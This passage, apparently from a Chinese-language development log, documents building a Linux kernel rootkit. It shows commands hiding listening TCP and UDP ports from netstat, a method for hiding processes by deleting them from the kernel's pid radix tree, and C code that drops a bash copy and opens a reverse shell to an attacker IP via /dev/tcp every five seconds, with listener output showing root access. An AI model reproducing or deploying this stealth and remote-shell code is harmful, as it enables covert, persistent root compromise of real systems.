tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN

接下來掛載核心模組:

$ sudo insmod rootkit.ko

再去看一次,發現沒有東西了:

$ netstat -tunel | grep 1234

udp

首先啟動一個 udp server:

$ nc -klu 1234

一開始使用 netstat 看看,發現是看得到的:

$ netstat -anu | grep 1234
udp        0      0 0.0.0.0:1234            0.0.0.0:*

接下來掛載核心模組:

$ sudo insmod rootkit.ko

再去看一次,發現沒有東西了:

$ netstat -anu | grep 1234

核心層級的行程隱藏

現有的 process 隱藏方式多是去對系統呼叫進行 hook 來達成檔案系統層級的 process 隱藏,然而其實是有作法可以做到在核心層級的隱藏的,也就是使得依賴於 find_pid_ns 或者相似函式的搜尋方法(據我所知是所有方法)皆無法透過這個 pid number 找到對應的任務。

首先看一下在核心中是怎麼透過 pid number 去找到 process 的,可以發現他是透過 pid hash 去找到一個 struct pid

struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
	return idr_find(&ns->idr, nr);
}

這個 struct pid 裡面會有一個 tasks 陣列,可以把各種 type 的 pid number 對應的任務連起來,詳細的討論可以參考 2025-04-22 討論簡記

image

一個小結論是 pid hash 是由 radix tree 去實作的,而我們可以直接從裡面把元素做刪除就能做到 process 的隱藏。而它是可以被正常排程的,因為排程器看的是 task_struct,而不是 pid

commit 2a95184

remote shell

我的 remote shell 的實作是使用 reverse shell,因為這樣被攻擊方就不一定要做 port forwarding,只需要我有一個在外面的 port,他自己連進來就好了。

如果我有很多時間大可以在核心空間中寫一個 shell,這樣的話更隱密,但我想效益不是非常大,這裡想用現成的東西。首先,在核心裡面可以透過 call_usermodehelper 去執行使用者空間中的執行檔,並且因為 bash 有將網路連線抽象化為檔案,所以可以直接用重導向的方式做出一個 reverse shell。於是,我直接把 bash 這個執行檔變成一個字元陣列,並且在執行階段去做寫檔,這樣就在目標機器上生出 bash 了。
我這裡讓它每 5 秒就彈一個 shell 出來:

void shell_start(void)
{
    char *argv[] = {"/bin/evilsh", "-c",
                    "while true; do sh -i >& /dev/tcp/" SHELL_IP "/" SHELL_PORT
                    " 0>&1; sleep 5; done",
                    NULL};
    char *envp[] = {"HOME=/", "PATH=/bin:/sbin:/usr/bin", "TERM=xterm", NULL};
    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

接下來我用 vmware 開一台靶機來測試一下,我把 SHELL_IP 設成我的 ip,SHELL_PORT 用 1234。在 vmware 上面啟動 ubuntu 24.04,並且載入核心模組。接下來在外面使用 nc 去做監聽:

$ nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.120.131 47962
sh: 0: can't access tty; job control turned off
# whoami
root

可以發現,我們得到 shell 了

commit 0749d4e